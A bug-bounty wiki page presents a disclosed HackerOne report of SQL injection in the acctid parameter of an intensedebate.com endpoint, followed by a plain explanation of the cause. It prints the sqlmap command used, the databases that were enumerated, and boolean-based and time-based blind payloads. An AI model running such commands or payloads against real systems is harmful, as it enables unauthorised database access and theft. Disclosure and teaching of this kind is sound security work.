Skip to content
SQL injection Disclosed report Beginner

SQL Injection intensedebate.com

The acctid parameter on an import status endpoint was vulnerable to SQL injection, allowing an attacker to run arbitrary SQL against the backend database. The reporter used an automated tool to confirm boolean-based and time-based blind injection and to list the available databases.

lu3ky-13 Follow

Originally disclosed on HackerOne

  • Paid in 6 days
  • Disclosed after 10 days

hello dear support

I have found SQL Injection on intensedebate.com parameters injectable ?acctid=1 URL:https://www.intensedebate.com/js/importStatus.php?acctid=1

I'm used sqlmap to injection command sqlmap --url https://www.intensedebate.com/js/importStatus.php?acctid=1 --dbs

egerg.PNG
egerg.PNG From the original on HackerOne

available databases [3]: [] heartbeat [] id_comments [*] information_schema

Parameter: acctid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: acctid=1 AND 1726=1726

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: acctid=1 AND (SELECT 8327 FROM (SELECT(SLEEP(5)))yrDl)

Impact

An attacker can use SQL injection it to bypass a web application's authentication and authorization mechanisms and retrieve the contents of an entire database. SQLi can also be used to add, modify and delete records in a database, affecting data integrity. Under the right circumstances, SQLi can also be used by an attacker to execute OS commands, which may then be used to escalate an attack even further.

The original report as published on HackerOne, by lu3ky-13. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the acctid GET parameter was concatenated into a SQL query without parameterisation or validation.

Impact

An attacker could read the contents of the entire database and potentially add, modify or delete records, and under the right circumstances execute operating system commands.

What the attacker needed

None

How it was found

  1. Open the import status endpoint with the acctid parameter set to a normal value.
  2. Run an automated SQL injection tool against that URL to enumerate databases.
  3. Observe that the tool identifies boolean-based blind and time-based blind injection in the acctid parameter.
  4. Read the list of available databases returned by the tool.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A website often builds database queries by pasting user input, such as a number from the address bar, directly into the query. If that input is not handled safely, an attacker can add extra database instructions and make the site return or change data it should not. Here the acctid value was placed into a query without proper protection, so the reporter could ask the database questions and read its answers indirectly.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by lu3ky-13

View all

30 more disclosed reports, best first.

More from Automattic

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.